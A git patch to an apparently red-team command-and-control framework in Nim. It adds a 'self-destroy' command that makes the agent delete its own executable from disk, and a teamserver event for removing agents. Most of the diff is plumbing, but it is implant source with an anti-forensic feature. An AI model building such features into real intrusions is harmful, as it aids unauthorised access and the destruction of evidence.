From f30f1d2ec02d52ec435ad4289b22a8267ca78431 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Mon, 27 Oct 2025 15:17:56 +0100 Subject: [PATCH] Separated 'exit' and 'self-destroy' and added functionality to remove agents from the teamserver to cleanup the sessions table. --- src/client/core/websocket.nim | 13 ++++++++++++- src/client/views/sessions.nim | 3 +++ src/common/types.nim | 2 ++ src/modules/exit.nim | 36 ++++++++++++++++++++++++----------- src/modules/manager.nim | 5 ++++- src/server/core/agent.nim | 24 ----------------------- src/server/main.nim | 5 +++++ 7 files changed, 51 insertions(+), 37 deletions(-) delete mode 100644 src/server/core/agent.nim diff --git a/src/client/core/websocket.nim b/src/client/core/websocket.nim index 5a746f2..b2421a1 100644 --- a/src/client/core/websocket.nim +++ b/src/client/core/websocket.nim @@ -54,6 +54,16 @@ proc sendAgentTask*(connection: WsConnection, agentId: string, command: string, ) connection.ws.sendEvent(event, connection.sessionKey) +proc sendAgentRemove*(connection: WsConnection, agentId: string) = + let event = Event( + eventType: CLIENT_AGENT_REMOVE, + timestamp: now().toTime().toUnix(), + data: %*{ + "agentId": agentId + } + ) + connection.ws.sendEvent(event, connection.sessionKey) + proc sendRemoveLoot*(connection: WsConnection, lootId: string) = let event = Event( eventType: CLIENT_LOOT_REMOVE, @@ -72,4 +82,5 @@ proc sendGetLoot*(connection: WsConnection, lootId: string) = "lootId": lootId } ) - connection.ws.sendEvent(event, connection.sessionKey) \ No newline at end of file + connection.ws.sendEvent(event, connection.sessionKey) + diff --git a/src/client/views/sessions.nim b/src/client/views/sessions.nim index 44a23ff..521b3e1 100644 --- a/src/client/views/sessions.nim +++ b/src/client/views/sessions.nim @@ -193,6 +193,9 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool, connectio for i, agent in component.agents: if not ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)): newAgents.add(agent) + else: + # Send message to team server to remove delete the agent from the database and stop it from re-appearing when the client is restarted + connection.sendAgentRemove(agent.agentId) component.agents = newAgents ImGuiSelectionBasicStorage_Clear(component.selection) diff --git a/src/common/types.nim b/src/common/types.nim index 0939235..fb0071b 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -59,6 +59,7 @@ type CMD_ENABLE_PRIV = 22'u16 CMD_DISABLE_PRIV = 23'u16 CMD_EXIT = 24'u16 + CMD_SELF_DESTROY = 25'u16 StatusType* = enum STATUS_COMPLETED = 0'u8 @@ -276,6 +277,7 @@ type CLIENT_LISTENER_STOP = 4'u8 # Stop a listener CLIENT_LOOT_REMOVE = 5'u8 # Remove loot on the team server CLIENT_LOOT_GET = 6'u8 # Request file/screenshot from the team server for preview or download + CLIENT_AGENT_REMOVE = 7'u8 # Delete agent from the team server database # Sent by team server CLIENT_PROFILE = 100'u8 # Team server profile and configuration diff --git a/src/modules/exit.nim b/src/modules/exit.nim index 91c152c..6de4ef4 100644 --- a/src/modules/exit.nim +++ b/src/modules/exit.nim @@ -2,25 +2,35 @@ import ../common/[types, utils] # Define function prototype proc executeExit(ctx: AgentCtx, task: Task): TaskResult +proc executeSelfDestroy(ctx: AgentCtx, task: Task): TaskResult # Module definition let commands* = @[ Command( name: protect("exit"), commandType: CMD_EXIT, - description: protect("Exit the agent process."), + description: protect("Exit the agent."), example: protect("exit process"), arguments: @[ - Argument(name: protect("exitType"), description: protect("Available options: PROCESS/THREAD. Default: PROCESS."), argumentType: STRING, isRequired: false), - Argument(name: protect("selfDelete"), description: protect("Attempt to delete the binary within which is the agent was running from disk. Default: false"), argumentType: BOOL, isRequired: false), + Argument(name: protect("type"), description: protect("Available options: PROCESS/THREAD. Default: PROCESS."), argumentType: STRING, isRequired: false), ], execute: executeExit + ), + Command( + name: protect("self-destroy"), + commandType: CMD_SELF_DESTROY, + description: protect("Exit the agent and delete the executable from disk."), + example: protect("self-destroy"), + arguments: @[ + ], + execute: executeSelfDestroy ) ] # Implement execution functions when not defined(agent): proc executeExit(ctx: AgentCtx, task: Task): TaskResult = nil + proc executeSelfDestroy(ctx: AgentCtx, task: Task): TaskResult = nil when defined(agent): @@ -34,16 +44,20 @@ when defined(agent): try: print " [>] Exiting." - case task.argCount: - of 0: + if task.argCount == 0: exit() - of 1: - let exitType = parseEnum[ExitType](Bytes.toString(task.args[0].data)) - exit(exitType) else: let exitType = parseEnum[ExitType](Bytes.toString(task.args[0].data)) - let selfDelete = cast[bool](task.args[1].data[0]) - exit(exitType, selfDelete) + exit(exitType) except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) \ No newline at end of file + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) + + proc executeSelfDestroy(ctx: AgentCtx, task: Task): TaskResult = + try: + print " [>] Self-destroying." + exit(EXIT_PROCESS, true) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) + \ No newline at end of file diff --git a/src/modules/manager.nim b/src/modules/manager.nim index 5fe385f..f76d797 100644 --- a/src/modules/manager.nim +++ b/src/modules/manager.nim @@ -22,7 +22,9 @@ proc registerCommands(commands: seq[Command]) {.discardable.} = manager.commandsByType[cmd.commandType] = cmd manager.commandsByName[cmd.name] = cmd -# Modules/commands +#[ + Modules/commands +]# import exit registerCommands(exit.commands) @@ -101,6 +103,7 @@ proc getModules*(modules: uint32 = 0): seq[Module] = proc getCommands*(modules: uint32 = 0): seq[Command] = # House-keeping result.add(manager.commandsByType[CMD_EXIT]) + result.add(manager.commandsByType[CMD_SELF_DESTROY]) # Modules if modules == 0: diff --git a/src/server/core/agent.nim b/src/server/core/agent.nim deleted file mode 100644 index 6fd4768..0000000 --- a/src/server/core/agent.nim +++ /dev/null @@ -1,24 +0,0 @@ -import terminal, strformat, strutils, tables, system, parsetoml - -import ../core/logger -import ../db/database -import ../../common/types - -# Terminate agent and remove it from the database -proc agentKill*(cq: Conquest, name: string) = - - # Check if agent supplied via -n parameter exists in database - if not cq.dbAgentExists(name.toUpperAscii): - cq.error(fmt"Agent {name.toUpperAscii} does not exist.") - return - - # TODO: Stop the process of the agent on the target system - # TODO: Add flag to self-delete executable after killing agent - - # Remove the agent from the database - if not cq.dbDeleteAgentByName(name.toUpperAscii): - cq.error("Failed to terminate agent: ", getCurrentExceptionMsg()) - return - - cq.agents.del(name) - cq.success("Terminated agent ", fgYellow, styleBright, name.toUpperAscii, resetStyle, ".") diff --git a/src/server/main.nim b/src/server/main.nim index b4a3d8a..65cab5f 100644 --- a/src/server/main.nim +++ b/src/server/main.nim @@ -96,6 +96,11 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {. if payload.len() != 0: cq.client.sendAgentPayload(payload) + of CLIENT_AGENT_REMOVE: + let agentId = event.data["agentId"].getStr() + discard cq.dbDeleteAgentByName(agentId) + cq.agents.del(agentId) + of CLIENT_LOOT_REMOVE: if not cq.dbDeleteLootById(event.data["lootId"].getStr()): cq.client.sendEventlogItem(LOG_ERROR, "Failed to delete loot.")